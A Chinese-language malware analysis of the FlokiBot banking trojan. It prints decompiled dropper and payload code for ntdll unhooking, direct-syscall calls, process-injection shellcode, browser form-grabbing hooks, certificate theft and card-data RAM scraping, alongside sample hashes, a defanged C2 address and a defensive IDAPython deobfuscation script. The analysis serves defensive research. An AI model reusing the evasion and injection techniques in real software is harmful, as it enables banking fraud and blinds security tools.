目录
介绍
FlokiBot Dropper
API调用去混淆
FlokiBot Payload
配置
用IDAPython完全静态去混淆
挂钩API
最后的笔记和哈希值
介绍
FlokiBot 是最近一款针对于欧洲和巴西联邦共和国的银行木马,作为一款恶意软件工具集,它在一些黑客论坛上被卖到$1000。它通过垃圾邮件和渗透代码工具包来传播。虽说它是继承于ZeuS(宙斯),FlokiBot也做了很多有趣的改进。有诸如内存截取(RAM scraping),定制的dropper这样的新特性,还有似乎从泄露了源码的Carberp 那里借鉴了几行代码。
FlokiBot与其dropper都有很多常用或不常用的混淆技术,我们将解开它们的神秘面纱,并着重讨论如何使用IDA和IDAPython脚本来静态脱壳。因为你们已经在最近很多恶意软件上接触过这些技术了,所以我觉得这是一次很好的锻炼。
在看完@hasherezade写的这篇关于FlokiBot的dropper文章:https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/. 之后,我决定看一下FlokiBot。尽管大多数关于FlokiBot的文章都着重讲它的dropper,我还是想讲得更详细一些,然后再讲讲它的payload;我们将会看到它有很多有有趣的特性,而且不是你平常所看到的ZeuS不一样,虽然它的很多代码是来自ZeuS和Carberp leaks。还是比逆向勒索软件好。
Hash值:
$ rahash2 -a md5,sha1,sha256 -qq floki_dropper.vir
37768af89b093b96ab7671456de894bc
5ae4f380324ce93243504092592c7b275420a338
4bdd8bbdab3021d1d8cc23c388db83f1673bdab44288fccae932660eb11aec2a
$ rahash2 -a md5,sha1,sha256 -qq floki_payload32.vir
da4ea4e44ea3bb65e254b02b2cbc67e8
e8542a465810ff1396a316d1c46e96e042bf4189
9f1d2d251f693787dfc0ba8e64907e204f3cf2c7320f66007106caac0424a1f3
对这个dropper的自动分析报告:
VirusTotal Analysis, Hybrid-Analysis
FlokiBot Dropper
导入:模块/API 哈希处理与系统调用(syscall)
dropper通过比较经过哈希处理的库名与内置哈希值来加载模块。哈希进程用到了一个基础的CRC32,之后这个CRC32还要跟两个字节的密钥异或,那两个密钥随样本的不同而不同。
有两种方法来检索动态链接库(dll)库名:一是用 Process Environment Block 来检查InMemoryOrderModuleList
的结构并读取BaseDllName
的值来获取进程已经加载的dll。第二种方法是,通过在Windows系统文件夹中罗列库名。
下面的模块都被dropper导入了:
CRC Library Method
------------------------------------------------------
84C06AAD ntdll.dll load_imports_peb
6AE6ABEF kernel32.dll load_imports_peb
2C2B3C88
948B9CAB
C7F4511A wininet.dll load_imports_folder
F734DCF8 ws2_32.dll load_imports_folder
F16EE30D advapi32.dll load_imports_folder
C8A18E35 shell32.dll load_imports_folder
E20BF2CB shlwapi.dll load_imports_folder
1A50B19C secur32.dll load_imports_folder
630A1C77 crypt32.dll load_imports_folder
0248AE46 user32.dll load_imports_peb
BD00960A
4FF44795 gdi32.dll load_imports_peb
E069944C ole32.dll load_imports_folder
CAAD3C25
之后,FlokiBot将采取同样的操作来定位和加载这些模块用到的API.首先,当CRC后的名字是匹配的,那么它将检索LdrGetProcedureAddress 在ntdll中的地址,并用它来获取其他API的句柄。这样做的话,函数的地址就仅对debugger可见。如此,分析代码将会非常困难,因我我们不知道调用了哪个API。去混淆的一种方法将在下一章提到。
FlokiBot与其dropper的另一有趣之处在于它们调用一些原生API函数的方式。这些函数位于ntdll中,并且以 Nt* 或者Zw*为前缀。它们在实现的时候与其他API有些许不同,因为它们要用到syscall特别是int 0x2e。下面的截图说明了它们是如何在ntdll中实现的。
正如我们所看到,系统调用的值放在eax(在我64位Windows 7上,NtAllocateVirtualMemory 是在0x15 ),而且参数被传到edx。x86和64位的所有系统调用号(syscall number)都可以在这张网页找到:http://j00ru.vexillium.org/ntapi/.
在检查ntdll中的API时,FlokiBot会先检查函数的第一个操作码是否为 0xB8
= MOV EAX,
若是,并且CRC后的API名也复合,它将提取MOV EAX 后面的四个字节,也就是系统调用号,并将它保存在dwSyscallArray 数组中。
在我的虚拟机上,当所有的系统调用号都被dropper提取后,dwSyscallArray 长这样。
Index API Syscall number
-------------------------------------------------------
0x0 NtCreateSection 0x47
0x1 NtMapViewOfSection 0x25
0x2 NtAllocateVirtualMemory 0x15
0x3 NtWriteVirtualMemory 0x37
0x4 NtProtectVirtualMemory 0x4D
0x5 NtResumeThread 0x4F
0x6 NtOpenProcess 0x23
0x7 NtDuplicateObject 0x39
0x8 NtUnmapViewOfSection 0x27
当FlokiBot需要调用某个原生函数的时候,它将调用自身的一个函数,那个函数直接从dwSyscallArray 中检索系统调用号,传参,触发中断0x2E。这些都跟它在ntdll中的实现方式一样。这就是为什么你不会看到任何这些API调用的轨迹,而且专门用来钩住这些API的监测工具也监测不到有调用它们。
API调用去混淆
既然FlokiBot的payload用到了相同的函数和数据结构,你可以用“IDAPython完全静态去混淆”模块,稍稍修改IDAPython脚本就可以将dropper的API调用去混淆。
解除挂钩模块
FlokiBot的一个有趣之处就在于它的dropper和payload都有解除挂钩操作。思路是卸载检测工具,沙箱和杀毒软件中的钩子。尽管这并不是恶意软件第一次使用这样的功能,比如说,Carberp就有一个能 不让Trusteer的Rapport发现 的功能,还有最近的Carbanak ,但这样的功能能真的非常罕见,应该值得注意。在这一部分,我将描述FlokiBot是如何解除挂钩的。
首先,FlokiBot通过罗列System32文件夹中的dll来获得ntdll.dll的句柄,然后用我们上面所提到的哈希处理过程,最后调用 MapViewOfFile
来映射它在内存中的位置。结果就是,FlokiBot有两个库在内存中映射的版本:一个是在导入期间导入的,这个可能会被监测工具的钩子改变,另一个是它直接从磁盘中映射的,这个是干净的。
NTDLL在磁盘中的映射——干净版本
由dropper导入的NTDLL——可能被钩住
现在,设置了正确的权限,FlokiBot把映射干净DLL代码块的地址、导入的dll的地址入栈,然后调用解除挂钩操作。
因为它要重写它的内存里的一些数据以删除钩子,恶意软件需要改变导入的NTDLL代码导出段的内存保护机制。而它是通过用int 0x2E和之前提取的系统调用号(在我的windows版本是0x4D)调用NtProtectVirtualMemory 来做到的。我们可以看到如果某个钩子被发现,某一部分的代码就会变得可写。
解除挂钩函数可以描述为三步:对于NTDLL导出的每一个函数……
解除挂钩操作的主要程序如下:
这样以来,很多监测工具、杀毒软件和沙箱都无法追踪恶意软件的调用。这个非常有用,如果你想要避免来自像 malwr.com. 这些网上沙箱的自动分析。
从资源中提取Bot
它的dropper有3个明确命名的资源: key
, bot32
和 bot64
。Bot被RtlCompressBuffer()
和 LZNT1 压缩,然后用有16字节密钥的RC4加密它。在我的样本里,密钥是:
A3 40 75 AD 2E C4 30 23 82 95 4C 89 A4 A7 84 00
你可以从Talos 团队的Github: https://github.com/vrtadmin/flokibot. 中找到可以备份这个payload和配置文件的Python脚本。要注意的是,它们并不能自己正确运行,因为它们要注入一个进程,还需要一些被dropper在内存中改写的数据。我们会在下一部分详谈注入进程。
提取资源的常用方法:
BOOL __userpurge extract_bot_from_rsrc@<eax>(int a1@<edi>, HMODULE hModule)
{
HRSRC v2; // eax@1
int v3; // eax@2
const void *v4; // esi@5
HRSRC v5; // eax@7
int v6; // eax@8
HRSRC v7; // eax@10
unsigned int v8; // eax@11
int v10; // [sp+4h] [bp-4h]@1
v10 = 0;
v2 = FindResourceW(hModule, L"key", (LPCWSTR)0xA);
if ( v2 )
v3 = extract_rsrc(hModule, (int)&v10, v2);
else
v3 = 0;
if ( v3 )
{
v4 = (const void *)v10;
if ( v10 )
{
qmemcpy((void *)(a1 + 84), (const void *)v10, 0x10u);
free_heap(v4);
}
}
v5 = FindResourceW(hModule, L"bot32", (LPCWSTR)0xA);
if ( v5 )
v6 = extract_rsrc(hModule, a1 + 4, v5);
else
v6 = 0;
*(_DWORD *)(a1 + 12) = v6;
v7 = FindResourceW(hModule, L"bot64", (LPCWSTR)0xA);
if ( v7 )
v8 = extract_rsrc(hModule, a1 + 8, v7);
else
v8 = 0;
*(_DWORD *)(a1 + 16) = v8;
return *(_DWORD *)(a1 + 4) && *(_DWORD *)(a1 + 12) > 0u && *(_DWORD *)(a1 + 8) && v8 > 0;
}
注入过程
dropper并不是用常用的用NtMapViewOfSection
和NtWriteVirtualMemory
来将payload注入到explorer.exe
(或者svchost.exe
,
如果失败的话) 。它是用写并运行一个可以在进程内存中解密解压payload的shellcode来完成的。这很不常见,很有趣。dropping的过程可以用下面的图片来总结:
dropper在explorer.exe / svchost.exe 里写一个trampoline shellcode 和它自己的一个函数。
当运行时,trampoline就会调用那个函数。
函数自动运行,并且动态解决导入、读取dropper的资源,并将它们提取到自己的进程内存中。(比如,在explorer.exe / svchost.exe 的地址空间里)
最后,dropper在目标进程中运行bot payload的入口点(entrypoint)。
第一个写在explorer.exe 的shellcode(称为trampoline )会休眠100ms,然后调用一个函数,那个函数dropper在进程内存中映射在0x80000000 ,在该dropper中默认称为 sub_405E18
。这第二个阶段是要提取bot payload,解密并解压它们。所有这些都发生在explorer.exe / svchost.exe
内存中。
$ rasm2 -a x86 -b 32 -D '558BEC51C745FCFF10B4766864000000FF55FCC745FC000008006800000900FF55FC83C4048BE55DC3'
0x00000000 1 55 push ebp
0x00000001 2 8bec mov ebp, esp
0x00000003 1 51 push ecx
0x00000004 7 c745fcff10b476 mov dword [ebp - 4], 0x76b410ff ; address of sleep()
0x0000000b 5 6864000000 push 0x64
0x00000010 3 ff55fc call dword [ebp - 4] ; sleep()
0x00000013 7 c745fc00000800 mov dword [ebp - 4], 0x80000
0x0000001a 5 6800000900 push 0x90000
0x0000001f 3 ff55fc call dword [ebp - 4] ; sub_405E18, 2nd stage
0x00000022 3 83c404 add esp, 4
0x00000025 2 8be5 mov esp, ebp
0x00000027 1 5d pop ebp
0x00000028 1 c3 ret
sub_405E18 将通过与dropper和payload相同的进程来导入它需要的资源,用有些许不用的crc32和新的异或密钥。
int __stdcall sub_405E18(int a1)
{
[...]
if ( a1 && *(_DWORD *)(a1 + 4) && *(_DWORD *)a1 != -1 )
{
v1 = 0;
v34 = 0i64;
v35 = 0i64;
v36 = 0i64;
do /* CRC Polynoms */
{
v2 = v1 >> 1;
if ( v1 & 1 )
v2 ^= 0xEDB88320;
if ( v2 & 1 )
v3 = (v2 >> 1) ^ 0xEDB88320;
else
v3 = v2 >> 1;
[...]
if ( v8 & 1 )
v9 = (v8 >> 1) ^ 0xEDB88320;
else
v9 = v8 >> 1;
v40[v1++] = v9;
}
while ( v1 < 0x100 );
v10 = shellcode_imp_dll((int)v40, 0x6AE6AF84);
v11 = shellcode_imp_dll((int)v40, 0x84C06EC6);
v30 = v12;
v13 = v11;
LODWORD(v34) = shellcode_imp_api(v10, (int)v40, 0x9CE3DCC);
DWORD1(v34) = shellcode_imp_api(v10, (int)v40, 0xDF2761CD);
DWORD2(v34) = shellcode_imp_api(v10, (int)v40, 0xF7C79EC4);
LODWORD(v35) = shellcode_imp_api(v10, (int)v40, 0xCD53C55B);
DWORD1(v36) = shellcode_imp_api(v10, (int)v40, 0xC97C2F79);
LODWORD(v36) = shellcode_imp_api(v10, (int)v40, 0x3FC18D0B);
DWORD2(v36) = shellcode_imp_api(v13, (int)v40, 0xD09F7D6);
DWORD1(v35) = shellcode_imp_api(v13, (int)v40, 0x9EEE7B06);
DWORD2(v35) = shellcode_imp_api(v13, (int)v40, 0xA4160E3A);
DWORD3(v35) = shellcode_imp_api(v13, (int)v40, 0x90480F70);
DWORD3(v36) = shellcode_imp_api(v13, (int)v40, 0x52FE165E);
v14 = ((int (__stdcall *)(_DWORD, _DWORD, signed int, signed int))v34)(0, *(_DWORD *)(a1 + 8), 0x3000, 64);
[...]
}
前两个哈希值,0x6AE6AF84
和 0x84C06EC6
应该是 'kernel32.dll'和'ntdll.dll'的。我用Python来实现哈希过程,证实导入的那两个DLL确实是kernel32 和 ntdll,然后我修改我的Python程序去解析它的导出表,想要知道函数导入的API的名字。我运行程序得到下面的API。
Python>run
[+] kernel32.dll (6AE6AF84) : Parsing...
0x09CE3DCC --> VirtualAlloc
0xDF2761CD --> OpenProcess
0xF7C79EC4 --> ReadProcessMemory
0xCD53C55B --> VirtualFree
0xC97C2F79 --> GetProcAddress
0x3FC18D0B --> LoadLibraryA
[+] ntdll.dll (84C06EC6) : Parsing...
0x0D09F7D6 --> NtClose
0x9EEE7B06 --> NtCreateSection
0xA4160E3A --> NtMapViewOfSection
0x90480F70 --> NtUnmapViewOfSection
0x52FE165E --> RtlDecompressBuffer
用这些函数,进程中的代码将可以读取dropper的资源(bot和RC4密钥)并且映射payload在内存中的位置。最后,远处终止的线程内容将会被修改,这样它的EIP将指向第一个shellcode,该线程继续。
流程图
FlokiBot Payload
这个payload 是基于熟知并已经分析过的ZeuS木马,所以我不会每件事都详细描述。至于dropper,我会更着重讲去混淆部分以及FlokiBot改进部分的实现。
配置
我运行 Talos 团队发布的 ConfigDump.py 程序,然后得到下面的C&C :
$ python ConfigDump.py payload_32.vir
Successfully dumped config.bin.
URL: https://extensivee[.]bid/000L7bo11Nq36ou9cfjfb0rDZ17E7ULo_4agents/gate[.]php
用IDAPython完全静态去混淆
鉴别函数
首先,我们注意到dropper重用了一些payload的重要函数。创造该dropper的一个 Rizzo 签名 并在payload中加载它能够IDA让识别并重命名少部分函数。
API调用和钩子的静态去混淆
思路是用Python重新实现哈希过程,哈希所有被FlokiBot加载的所有API,然后将他们和我们用代码收集到的哈希值进行比较。如果匹配,我们就用IDAPython重命名该函数,使得反汇编更具可读性。因为payload用的是同样的CRC函数和同样的异或密钥,所以这个脚本对它们都管用。
字符串去混淆
跟ZeuS和Fobber(Tinaba的进化版)一样,很多字符串都用它们自己的一字节的密钥异或加密了。恶意软件将所有的ENCRYPTED_STRING 存储在一个数组中,并将在传输过程中通过下标去混淆。加密过的字符串将以下面的数据结构展现:
typedef struct {
char xor_key;
WORD size;
void* strEncrypted;
} ENCRYPTED_STRING;
首先,为弄明白如何没有错误的检索出它们,我会运行一段代码罗列decrypt_string 的参数是如何入栈的。
运行完我们的脚本后,这里有一个在IDA中反汇编后的样本:
完整的IDAPython脚本
这是我用来去混淆该payload的完整的Python脚本:https://gist.github.com/adelmas/8c864315648a21ddabbd6bc7e0b64119.
它基于IDAPython和PeFile。它专为静态分析设计,你不用开启任何debugger来让这段程序工作。它将完成以下的工作:
明确bot引入的所有函数并以[API name]_wrap 的格式重命名它们。
解析WINAPIHOOK 结构并以hook_[API name] 的格式重命名钩子函数。
解密字符串并将解密后的值放在解密字符串函数调用处的注释中。
# coding: utf-8
# ====================================================== #
# #
# FLOKIBOT BOT32 DEOBFUSCATION IDA SCRIPT #
# #
# http://adelmas.com/blog/flokibot.php #
# #
# ====================================================== #
# IDAPython script to deobfuscate statically the bot32 payload of the banking malware FlokiBot.
# Imports are fully resolved, hooks are identified and named and strings are decrypted and added in comments, without using any debugger.
# May take a few minutes to resolve imports.
# Works with FlokiBot dropper with some small changes.
import sys
# sys.path.append("/usr/local/lib/python2.7/dist-packages")
# idaapi.enable_extlang_python(True)
import pefile
# RunPlugin("python", 3)
CRC_POLY = 0xEDB88320 # Depending on sample
XOR_KEY = 0x34ED # Depending on sample
ARRAY_ADDR = 0x41B350 # Depending on sample
ARRAY_ITER = 12 # Size of a triplet (3*sizeof(DWORD))
i = 0
# ----------------------------------------------------
# Generating CRC polynoms
# ----------------------------------------------------
poly = []
while i < 256:
size = 8
b = i
while size != 0:
if b & 1:
b = (b >> 1) ^ CRC_POLY
else:
b >>= 1
size -= 1
poly.insert(i, b)
i += 1
# ----------------------------------------------------
# FlokiBot CRC32
# ----------------------------------------------------
def crc32(name):
name_len = len(name)
i = 0
crc = 0xFFFFFFFF
while i < name_len:
crc = poly[(crc ^ ord(name[i])) & 0xFF] ^ (crc >> 8)
i += 1
crc = (~crc) & 0xFFFFFFFF
return crc
# ----------------------------------------------------
# DEOBFUSCATING API CALLS
# ----------------------------------------------------
array_dll = ['ntdll', 'kernel32', 'wininet', 'ws2_32', 'advapi32', 'secur32', 'crypt32',
'shlwapi', 'ole32', 'gdi32', 'shell32', 'user32', 'urlmon' #, 'nss3', 'nspr4', 'chrome'
]
dll_hash = {}
for dll in array_dll:
h = crc32(dll + '.dll') ^ XOR_KEY
dll_hash[h] = dll
print "[+] %s.dll (%X) : Parsing..." % (dll, h)
pe = pefile.PE("C:\\Windows\\System32\\" + dll + ".dll")
api_hash = {}
pe.parse_data_directories()
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if exp.name:
api_crc = crc32(exp.name) ^ XOR_KEY
api_hash[api_crc] = exp.name
nb = 0
for i in range(0, 287):
ea_name = (ARRAY_ADDR + i*ARRAY_ITER)
ea_func = Dword(ea_name)
ea_crc = ea_name + 4
MakeDword(ea_crc)
crc = Dword(ea_crc)
if crc in api_hash:
if MakeName(ea_func, api_hash[crc]+"_wrap"
nb += 1
print "[+] %s : Resolved %d API names" % (dll, nb)
# ----------------------------------------------------
# PARSING HOOK STRUCT
# ----------------------------------------------------
sid = AddStruc(-1, 'HOOKWINAPI')
AddStrucMember(sid, 'functionForHook', 0, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid, 'hookerFunction', 4, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid, 'originalFunction', 8, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid, 'originalFunctionSize', 12, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid, 'dllHash', 16, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid, 'apiHash', 20, FF_DWRD|FF_DATA, -1, 4)
HOOKWINAPI_EA = 0x41B000
HOOKWINAPI_SIZE = 0x18
ea = HOOKWINAPI_EA
MakeName(HOOKWINAPI_EA, "hookWinApi_array")
print "Parsing hook table @ 0x%X" % HOOKWINAPI_EA
for i in range(0, 25):
for field in range(0, 6):
MakeDword(ea+4*field)
fn_name = Name(Dword(ea))
hook_ea = Dword(ea+4)
MakeName(hook_ea, "hook_" + fn_name)
hook_name = Name(Dword(ea+4))
ori_ea = ea+8
MakeName(ori_ea, "ori_" + fn_name)
print "[+] Hook on %s \t--> %s" % (fn_name, hook_name)
ea += HOOKWINAPI_SIZE
# ----------------------------------------------------
# STRING DEOBFUSCATION
# ----------------------------------------------------
DECRYPT_FN_EA = 0x403948 # Depending on sample
ENCRYPTED_STRINGS_EA = 0x402278 # Depending on sample
DECRYPT_FN = "decrypt_string"
ENCRYPTED_STRINGS = "encrypted_strings"
ARRAY_SIZE = 0x77 # Depending on sample
decrypted_strings = {}
def backwardSearch(ea, instr):
while True:
ea = PrevHead(ea)
if GetMnem(ea) == instr:
return ea
def decrypt_string(index, ea_encrypted):
string = ""
if index == -1:
string = "Invalid index"
return string
encr_array = LocByName(ea_encrypted)
if encr_array == 0xFFFFFFFF:
string = "Invalid array for encrypted strings"
return string
ea_item = encr_array + index*2*4
xor_k = Byte(ea_item)
size = Word(ea_item+2)
ptr_string = Dword(ea_item + 4)
MakeByte(ptr_string)
MakeArray(ptr_string, size)
#print "[%d] %X %X %X" % (index, xor_k, size, ptr_string)
i = 0
if size <= 0:
string = "Size <= 0"
return string
while i < size:
ichr = i
string += str(unichr((i ^ xor_k ^ Byte(ptr_string + i)) & 0xFF))
i += 1
MakeComm(ptr_string, string) # Add comments with decrypted strings in the array
return string
# ----------------------------------------------------
# Decrypting and commenting whole array
# ----------------------------------------------------
MakeName(DECRYPT_FN_EA, DECRYPT_FN)
MakeName(ENCRYPTED_STRINGS_EA, ENCRYPTED_STRINGS)
i = 0
loc = LocByName(DECRYPT_FN)
for ea in range(loc, loc+ARRAY_SIZE):
decrypted_strings[i] = decrypt_string(i, ENCRYPTED_STRINGS)
i += 1
print "[+] Decrypted %d strings :" % (i)
print decrypted_strings
# ----------------------------------------------------
# Commenting calls to decryption function with decrypted strings
# ----------------------------------------------------
i = 0
for xref in XrefsTo(LocByName(DECRYPT_FN)):
ea = xref.frm
mnem = GetMnem(PrevHead(ea))
index = 0
if mnem == "xor":
index = 0
elif mnem == "pop":
ea = backwardSearch(ea, "push")
index = GetOperandValue(ea, 0)
elif mnem == "inc":
index = 1
elif mnem == "mov":
index = GetOperandValue(ea, 1)
#print "Index : 0x%X" % (index)
if index in decrypted_strings:
MakeComm(xref.frm, decrypted_strings[index])
i += 1
print "[+] Commented %d strings with decrypted values" % (i)
print "[+] Script is done."
flokibot32_deobf.py
持久性
bot用一个伪随机名字把自己复制到 C:\Documents and Settings\[username]\Application Data
并通过在Windows的启动文件夹创建一个.lnk来获得持久性。
int startup_lnk() {
int v0; // edi@1
_WORD *v1; // ecx@1
int v2; // eax@2
_WORD *v3; // ecx@2
const void *v4; // eax@2
const void *v5; // esi@3
int strStartupFolder; // [sp+8h] [bp-20Ch]@1
int v8; // [sp+210h] [bp-4h]@6
v0 = 0;
SHGetFolderPathW_wrap(0, 7, 0, 0, &strStartupFolder); // 7 = CSIDL_STARTUP
v1 = (_WORD *)PathFindFileNameW_wrap(&pFilename);
if ( v1 && (v2 = cstm_strlen(v1), sub_40FECB(v2 - 4, v3), v4) )
v5 = v4;
else
v5 = 0;
if ( v5 ) {
v8 = 0;
if ( build_lnk((int)&v8, (const char *)L"%s\\%s.lnk", &strStartupFolder, v5) > 0 )
v0 = v8;
cstm_FreeHeap(v5);
}
return v0;
}
挂钩API
概述
基于ZeuS,FlokiBot用了同一种但又有些许不同的结构数组来存储它的钩子:
typedef struct
{
void *functionForHook;
void *hookerFunction;
void *originalFunction;
DWORD originalFunctionSize;
DWORD dllHash;
DWORD apiHash;
} HOOKWINAPI;
在我们运行完前面用来去混淆API调用的脚本,以及定位好钩子结构数组之后,我们就可以很轻易的用其他的IDA脚本来解析它,以确定和命名钩子函数(hook_* )。我们最后得到下面的表格:
Parsing hook table @ 0x41B000...
Original Function Hooked Hooker Function DLL Hash API Hash
-------------------------------------------------------------------------------------------------------------
NtProtectVirtualMemory_wrap hook_NtProtectVirtualMemory_wrap 84C06AAD (ntdll) 5C2D2E7A
NtResumeThread_wrap hook_NtResumeThread_wrap 84C06AAD (ntdll) 6273819F
LdrLoadDll_wrap hook_LdrLoadDll_wrap 84C06AAD (ntdll) 18364D1F
NtQueryVirtualMemory_wrap hook_NtQueryVirtualMemory_wrap 84C06AAD (ntdll) 03F6C761
NtFreeVirtualMemory_wrap hook_NtFreeVirtualMemory_wrap 84C06AAD (ntdll) E9D6FAB3
NtAllocateVirtualMemory_wrap hook_NtAllocateVirtualMemory_wrap 84C06AAD (ntdll) E0761B06
HttpSendRequestW_wrap hook_HttpSendRequestW_wrap C7F4511A (wininet) 0BD4304A
HttpSendRequestA_wrap hook_HttpSendRequestA_wrap C7F4511A (wininet) FF00851B
HttpSendRequestExW_wrap hook_HttpSendRequestExW_wrap C7F4511A (wininet) AAB98346
HttpSendRequestExA_wrap hook_HttpSendRequestExA_wrap C7F4511A (wininet) 5E6D3617
InternetCloseHandle_wrap hook_InternetCloseHandle_wrap C7F4511A (wininet) E51929C9
InternetReadFile_wrap hook_InternetReadFile_wrap C7F4511A (wininet) 6CC0AC18
InternetReadFileExA_wrap hook_InternetReadFileExA_wrap C7F4511A (wininet) FEDE53D9
InternetQueryDataAvailable_wrap hook_InternetQueryDataAvailable_wrap C7F4511A (wininet) 1AF94509
HttpQueryInfoA_wrap hook_HttpQueryInfoA_wrap C7F4511A (wininet) 02B5094B
closesocket_wrap hook_closesocket_wrap F734DCF8 (ws2_32) A5C6E39A
send_wrap hook_send_wrap F734DCF8 (ws2_32) A7730E20
WSASend_wrap hook_WSASend_wrap F734DCF8 (ws2_32) B2927DE5
TranslateMessage_wrap hook_TranslateMessage_wrap 0248AE46 (user32) 5DD9FAF9
GetClipboardData_wrap hook_GetClipboardData_wrap 0248AE46 (user32) 1DCBE5AA
PFXImportCertStore_wrap hook_PFXImportCertStore_wrap 1A50B19C (secur32) E0991FE4
PR_OpenTCPSocket_wrap hook_PR_OpenTCPSocket_wrap 948B9CAB (nss3) 3B8AA62A
PR_Close_wrap hook_PR_Close_wrap 948B9CAB (nss3) 6D740323
PR_Read_wrap hook_PR_Read_wrap 948B9CAB (nss3) 5C9DC287
PR_Write_wrap hook_PR_Write_wrap 948B9CAB (nss3) 031EF8B8
它们中的大多数都有安装在ZeuS和其他银行恶意软件中。尽管如此,我们还是能够注意到NtFreeVirtualMemory
和 NtProtectVirtualMemory
的一些有趣的、新的钩子。我们将在下一部分看到它们的用途。
浏览器中间人(Man-in-the-Browser)
Floki通过把自己注入到Firefox和Chrome进程中并拦截 LdrLoadDll
来实现浏览器中间人攻击。如果浏览器加载的DLL的哈希值和 nss3.dll
, nspr4.dll
或chrome.dll
任一个的哈希值匹配,API钩子就会自动安装,让恶意软件可以实现表单抓取和网站注入。
int __stdcall hook_LdrLoadDll_wrap(int PathToFile, int Flags, int ModuleFileName, int *ModuleHandle)
{
int result; // eax@2
int filename_len; // eax@8
int dll_hash; // eax@8
[...]
if ( cstm_WaitForSingleObject() ) {
v5 = LdrGetDllHandle_wrap(PathToFile, 0, ModuleFileName, ModuleHandle);
v6 = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);
v12 = v6;
if ( v5 < 0 && v6 >= 0 && ModuleHandle && *ModuleHandle && ModuleFileName )
{
RtlEnterCriticalSection_wrap(&unk_41D9F4);
filename_len = cstm_strlen(*(_WORD **)(ModuleFileName + 4));
dll_hash = hash_filename(filename_len, v8);
if ( !(dword_41DA0C & 1) ) {
if ( dll_hash == 0x2C2B3C88 || dll_hash == 0x948B9CAB ) { // hash nss3.dll & nspr4.dll
sub_416DBD(*ModuleHandle, dll_hash);
if ( dword_41DC2C )
v11 = setNspr4Hooks(v10, dword_41DC2C);
}
else if ( dll_hash == 0xCAAD3C25 ) { // hash chrome.dll
if ( byte_41B2CC ) {
if ( setChromeHooks() )
dword_41DA0C |= 2u;
}
[...]
}
else
{
result = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);
}
return result;
}
浏览器中间人在IE浏览器中一般用Wininet API Hooking 来实现(参看上面的函数)。Chrome的网站注入还没有实现。
进程注入
恶意软件在其他子进程中通过挂钩NtResumeThread API来注入自己的shellcode和payload。
int __userpurge hook_NtResumeThread_wrap@<eax>(int a1@<ebx>, int a2, int a3)
{
int result; // eax@2
[...]
if ( cstm_WaitForSingleObject() ) {
cstm_memset(&v18, 0, 0x1Cu);
v20 = v4;
if ( NtQueryInformationThread_wrap(a2, 0, &v18, v4, &v20, a1) >= 0 ) {
v5 = v19;
if ( v19 ) {
v23 = mutex(v19);
if ( v23 ) {
v6 = OpenProcess_wrap(1144, 0, v5);
if ( v6 ) {
v22 = 0;
v7 = dupl_handle(v6, v23, 0, &v22);
v21 = v7;
if ( v7 ) {
if ( (v8 = (char *)sub_409741 + v7 - dword_41DFE8,
v24 = (int (__thiscall *)(void *, int))((char *)sub_409741 + v7 - dword_41DFE8),
v15 = 65539,
!GetThreadContext_wrap(a2, &v15))
|| v17 != RtlUserThreadStart_wrap && RtlUserThreadStart_wrap
|| (v16 = v8,
v15 = 0x10002,
v25 = 0x51EC8B55, // Shellcode
v26 = 0xFC45C7,
v27 = 0x68000000,
v28 = 0,
v29 = 0xC7FC55FF,
v30 = 0xFC45,
v31 = 0x680000,
v32 = 0xFF000000,
v33 = 0xC483FC55,
v34 = 4,
v35 = 0xC35DE58B,
cstm_memcpy((char *)&v26 + 3, &Sleep_wrap, 4u),
cstm_memcpy((char *)&v30 + 2, &v24, v9),
cstm_memcpy((char *)&v31 + 3, &v22, v10),
v24 = (int (__thiscall *)(void *, int))100,
cstm_memcpy(&v28, &v24, v11),
(v14 = VirtualAllocEx_wrap(v13, v12, v6, 0, 41, 0x3000, 64)) == 0)
|| (WriteProcessMemory_wrap(v6, v14, &v25, 41, 0), v16 = (char *)v14, !SetThreadContext_wrap(a2, &v15)) )
{
VirtualFreeEx_wrap(v6, v21, 0, 0x8000);
}
}
NtClose_wrap(v6);
}
NtClose_wrap(v23);
}
}
}
result = NtResumeThread_wrap(a2);
}
else
{
result = NtResumeThread_wrap(a2);
}
return result;
}
证书窃取
通过挂钩PFXImportCertStore ,FlokiBot可以窃取数字证书。此法Zeus和Carberp也有用到。
保护钩子
FlokiBot通过放置一个钩子和过滤NtProtectVirtualMemory 调用来保护它的钩子,以防止它们被累死杀毒软件复位到原函数中。无论何时,当一个程序想要改变Floki已经注入的进程的内存保护机制的时候,Floki会阻断该调用并返回STATUS_ACCESS_DENIED
.
unsigned int __stdcall hook_NtProtectVirtualMemory_wrap(void *ProcessHandle, int *BaseAddress, int NumberOfBytesToProtect, int NewAccessProtection, int OldAccessProtection)
{
int retBaseAddress; // [sp+18h] [bp+Ch]@7
[...]
v11 = 0;
v5 = BaseAddress;
if ( cstm_WaitForSingleObject() && BaseAddress && ProcessHandle == GetCurrentProcess() )
{
if ( check_base_addr(*BaseAddress) )
return 0xC0000022; // STATUS_ACCESS_DENIED
RtlEnterCriticalSection_wrap(&unk_41E6E8);
v11 = 1;
}
retBaseAddress = NtProtectVirtualMemory_wrap(
ProcessHandle,
BaseAddress,
NumberOfBytesToProtect,
NewAccessProtection,
OldAccessProtection);
[...]
LABEL_18:
if ( v11 )
RtlLeaveCriticalSection_wrap(&unk_41E6E8);
return retBaseAddress;
}
PoS恶意软件特征:内存截取
在我的 前一篇文章 中,我逆向了一款非常基础的叫做TreasureHunter 的PoS 恶意软件。它主要用内存截取为主要手段来窃取主账号(PAN)。
像大多数PoS恶意软件,FlokiBot通过定期读取进程内存来搜索track2 PAN 。显然,这并不是很有效,因为你不能时刻监测内存,这样就会漏掉很多潜在的PAN。为克服这个问题,在Floki把自己注入到某一个进程后,它会放置一个钩子到NtFreeVirtualMemory 中,这样当该进程想要释放一大块内存的时候它就可以提前搜寻track2 PAN 。用这种方法,它就不太可能会错失PAN.
